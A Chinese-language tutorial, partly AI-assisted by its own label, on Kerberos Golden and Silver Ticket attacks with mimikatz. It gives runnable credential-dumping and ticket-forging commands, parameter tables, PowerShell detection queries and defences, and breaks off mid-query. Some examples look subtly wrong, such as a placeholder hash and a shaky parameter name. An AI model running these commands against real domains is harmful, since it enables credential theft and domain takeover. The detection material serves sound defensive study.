Kerberos攻击实战:mimikatz黄金票据与白银票据
本文深入探讨了Kerberos认证协议的基础原理及其安全漏洞,重点分析了mimikatz工具在黄金票据(Golden Ticket)和白银票据(Silver Ticket)攻击中的实战应用。文章详细解析了Kerberos认证流程、票据结构、加密机制以及PAC特权属性证书等核心组件,为理解这些高级攻击技术提供了理论基础。通过具体的攻击示例和防御策略,展示了如何利用mimikatz进行票据传递攻击(PtT),并提供了有效的检测和防护措施。
Kerberos认证协议基础原理
Kerberos是一种基于票据的网络认证协议,由麻省理工学院(MIT)开发,旨在为客户端/服务器应用程序提供强大的身份验证机制。作为Windows域环境中的首选认证协议,Kerberos通过对称加密技术和可信第三方认证机制,在非安全网络中实现安全的身份验证。
Kerberos核心组件架构
Kerberos认证系统由三个核心组件构成,形成一个完整的安全认证生态:
| 组件名称 | 英文缩写 | 主要功能 | 关键作用 |
|---|---|---|---|
| 客户端 | Client | 发起认证请求的用户或服务 | 请求访问网络资源 |
| 服务端 | Server | 提供服务的应用程序 | 验证客户端身份并授权访问 |
| 密钥分发中心 | KDC | 中央认证服务器 | 颁发票据和会话密钥 |
KDC进一步细分为两个关键服务:
- 认证服务(AS):处理初始认证请求,验证用户身份
- 票据授予服务(TGS):为已验证用户颁发服务票据
Kerberos认证流程详解
Kerberos认证过程遵循严格的三步握手协议,确保每个环节的安全性:
第一步:初始认证(AS Exchange)
客户端向AS发送认证请求(AS_REQ),包含用户名和服务名。AS验证用户身份后,返回包含以下内容的响应(AS_REP):
- TGT(Ticket Granting Ticket):使用KDC的krbtgt账户密钥加密
- 会话密钥:用于客户端与TGS之间的安全通信
- 时间戳和有效期信息
第二步:服务票据获取(TGS Exchange)
客户端使用TGT向TGS请求访问特定服务的票据(TGS_REQ)。TGS验证TGT后,返回服务票据(TGS_REP):
- 服务票据(Service Ticket):使用目标服务的密钥加密
- 服务会话密钥:用于客户端与服务端之间的安全通信
第三步:服务访问(AP Exchange)
客户端将服务票据和认证器发送给目标服务(AP_REQ)。服务端解密票据验证客户端身份,并可选返回确认信息(AP_REP)。
Kerberos加密机制与安全特性
Kerberos采用对称加密算法保护认证过程的安全性:
// mimikatz中的Kerberos加密函数示例
NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage,
LPCVOID key, DWORD keySize,
LPCVOID data, DWORD dataSize,
LPVOID *output, DWORD *outputSize,
BOOL encrypt);
支持的加密类型包括:
- AES-128/256:现代高强度加密标准
- RC4-HMAC:传统加密算法(存在安全风险)
- DES-CBC:较老的加密标准
Kerberos票据结构分析
Kerberos票据采用ASN.1编码格式,包含多个关键字段:
| 字段名称 | 描述 | 安全作用 |
|---|---|---|
| 版本号 | 协议版本标识 | 确保协议兼容性 |
| 领域名 | 认证域名称 | 标识认证域范围 |
| 主体名 | 客户端身份 | 标识请求用户 |
| 加密部分 | 使用服务密钥加密 | 保护敏感信息 |
| 认证器 | 时间戳和校验信息 | 防止重放攻击 |
PAC(特权属性证书)机制
Windows Kerberos实现引入了PAC扩展,包含用户的安全标识信息:
PAC包含的用户安全信息:
- 用户SID(安全标识符)
- 组成员关系
- 用户权限列表
- 登录限制信息
Kerberos时间同步要求
Kerberos协议对时间同步有严格要求,通常要求客户端和服务端的时间差不超过5分钟。这种设计有效防止重放攻击,因为每个认证请求都包含时间戳信息。
协议优势与安全考量
Kerberos协议的主要优势包括:
- 双向认证:客户端和服务端相互验证身份
- 单点登录:一次认证可访问多个服务
- 票据重用:减少重复认证开销
- 防重放攻击:时间戳和序列号机制
然而,Kerberos也存在一些安全考量:
- KDC成为单点故障和攻击目标
- 票据缓存可能被窃取利用
- 加密算法强度影响整体安全性
通过深入理解Kerberos认证协议的基础原理,安全专业人员能够更好地分析潜在的安全威胁,并实施有效的防护措施。mimikatz工具正是基于对这些协议细节的深刻理解,才能够实现黄金票据和白银票据等高级攻击技术。
黄金票据攻击技术与防御
黄金票据(Golden Ticket)攻击是Kerberos认证协议中最具破坏性的攻击技术之一,它允许攻击者在完全脱离域控的情况下伪造任意用户的TGT(Ticket Granting Ticket)。mimikatz作为Windows安全领域的多功能工具,提供了强大的黄金票据生成能力,让安全研究人员能够深入理解Kerberos协议的脆弱性。
黄金票据攻击原理与技术实现
黄金票据攻击的核心在于利用Kerberos协议的设计特性。在Kerberos认证体系中,KRBTGT账户的NTLM哈希用于加密TGT票据。一旦攻击者获取了这个关键哈希值,就能够伪造任意用户的TGT票据。
mimikatz黄金票据生成机制
mimikatz通过kerberos::golden命令实现黄金票据的生成,其技术实现基于以下关键参数:
NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
{
// 关键参数处理逻辑
PCWCHAR szUser, szDomain, szService, szTarget;
LPCBYTE key;
DWORD keySize, keyType;
PSID pSid;
// ... 其他参数处理
}
黄金票据生成需要以下核心元素:
| 参数 | 说明 | 示例值 |
|---|---|---|
| KRBTGT哈希 | 域控KRBTGT账户的NTLM哈希 | aad3b435b51404eeaad3b435b51404ee |
| 域SID | 域的Security Identifier | S-1-5-21-123456789-1234567890-123456789 |
| 目标用户名 | 要伪造的用户名 | administrator |
| 域名 | 目标域名 | contoso.com |
攻击流程示意图
mimikatz黄金票据实战操作
基本攻击命令
# 生成黄金票据
kerberos::golden /admin:Administrator /domain:contoso.com
/sid:S-1-5-21-123456789-1234567890-123456789
/krbtgt:aad3b435b51404eeaad3b435b51404ee
/ticket:golden.kirbi
# 注入票据到当前会话
kerberos::ptt golden.kirbi
# 验证票据有效性
kerberos::list
高级配置选项
mimikatz支持多种高级配置来定制黄金票据:
# 设置票据有效期(默认10年)
/startoffset:-10 /endin:600 /renewmax:10080
# 指定服务票据类型
/service:krbtgt /target:domaincontroller.contoso.com
# 添加额外的SID历史
/sids:S-1-5-21-123456789-1234567890-123456789-519
黄金票据的检测与防御
检测技术
日志分析检测:
- 监控异常4769事件(Kerberos服务票据请求)
- 检查TGT颁发时间与正常模式的偏差
- 分析票据加密类型的一致性
技术特征检测:
防御策略分层架构
具体防御措施
技术防护措施:
- KRBTGT密码轮换:每30-90天轮换KRBTGT账户密码两次
- 启用AES加密:强制使用AES-256加密Kerberos票据
- 实施LAPS:防止本地管理员凭证重用
- 配置Protected Users:限制NTLM和弱加密协议使用
监控与响应:
# PowerShell检测脚本示例
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4769
} | Where-Object {
$_.Message -match "Ticket Encryption Type.*0x17" -and
$_.TimeCreated -lt (Get-Date).AddHours(-12)
}
应急响应流程
发现黄金票据攻击后的应急响应:
- 立即隔离受影响系统和域控制器
- 重置KRBTGT密码两次(间隔10分钟以上)
- 撤销所有现有Kerberos票据
- 全面审计域内所有系统的登录活动
- 取证分析攻击路径和持续时间
技术深度分析
mimikatz的黄金票据生成算法基于Kerberos协议规范,其核心函数kuhl_m_kerberos_golden_data实现了完整的ASN.1编码和票据签名:
PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname,
LPCWSTR servicename, LPCWSTR targetname,
PKUHL_M_KERBEROS_LIFETIME_DATA lifetime,
LPCBYTE key, DWORD keySize, DWORD keyType,
PSID pSid, LPCWSTR netbiosDomain,
ULONG id, PGROUP_MEMBERSHIP groups,
DWORD nbGroups, PTOKEN_GROUPS sids,
DWORD nbSids, LPCVOID authData,
DWORD authDataSize)
{
// ASN.1编码实现
ber_init(&ber, 0);
ber_printf(&ber, "{t{i}", MAKE_APP_TAG(ID_CTX_KRB_CRED_VERSION), 5);
// ... 完整的票据构造逻辑
}
这种技术实现确保了生成的黄金票据完全符合Kerberos协议规范,能够被域内所有系统接受为合法凭证。
防护体系评估
有效的黄金票据防护需要多层防御策略的协同工作:
通过理解mimikatz的黄金票据攻击技术,安全团队能够更好地设计防御策略,构建纵深防御体系,确保企业网络在面对这种高级威胁时具备足够的防护能力。
白银票据攻击方法与检测
白银票据(Silver Ticket)攻击是Kerberos协议中一种极具威胁的凭据伪造技术,与黄金票据相比,它更加隐蔽且难以检测。攻击者通过获取服务账户的密码哈希值,能够绕过域控制器的验证机制,直接伪造特定服务的TGS(Ticket Granting Service)票据,实现对目标资源的持久化访问。
白银票据攻击原理与工作流程
白银票据攻击的核心在于利用Kerberos协议中TGS票据的加密机制。在正常的Kerberos认证流程中,TGS票据使用服务账户的密码哈希进行加密,而攻击者一旦获取到这个哈希值,就能够自主生成有效的TGS票据,完全绕过KDC(Key Distribution Center)的验证过程。
mimikatz白银票据攻击实战
在mimikatz中执行白银票据攻击需要使用kerberos::golden命令,但需要特别注意参数配置:
# 获取服务账户哈希(前提步骤)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# 伪造CIFS服务的白银票据
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.com /sid:S-1-5-21-123456789-987654321-123456789 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:fileserver.corp.com /service:cifs /ptt
# 伪造MSSQL服务的白银票据
mimikatz # kerberos::golden /user:SqlUser /domain:corp.com /sid:S-1-5-21-123456789-987654321-123456789 /rc4:aad3b435b51404eeaad3b435b51404ee /target:sqlserver.corp.com /service:mssql /ptt
关键参数说明:
| 参数 | 说明 | 示例值 |
|---|---|---|
/user | 要伪造的用户名 | FakeAdmin |
/domain | 目标域名 | corp.com |
/sid | 域SID | S-1-5-21-123456789-987654321-123456789 |
/rc4 | 服务账户的NTLM哈希 | 8fbe632c51039f92c21bcef456b31f2b |
/target | 目标服务器FQDN | fileserver.corp.com |
/service | 目标服务类型 | cifs, mssql, http等 |
/ptt | 将票据注入当前会话 | N/A |
常见服务类型与对应的SPN
攻击者可以根据不同的服务目标选择相应的服务类型:
| 服务类型 | 服务名称 | 攻击目标 |
|---|---|---|
| CIFS | cifs | 文件共享访问 |
| MSSQL | mssql | 数据库服务 |
| HTTP | http | Web应用程序 |
| LDAP | ldap | 目录服务 |
| HOST | host | 主机级访问 |
| RPCSS | rpcss | 远程过程调用 |
白银票据攻击检测技术
检测白银票据攻击需要多层次的监控策略,重点关注异常的身份验证模式:
1. 事件日志分析
# 查询可疑的登录事件
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4624
} | Where-Object {
$_.Properties[5].Value -like "*$" -and # 服务账户登录
$_.Properties[8].Value -eq 3 -and # 网络登录类型
$_.Properties[11].Value -notlike "*KRBTGT*"
}
# 检测异常的服务票据请求
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=476
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



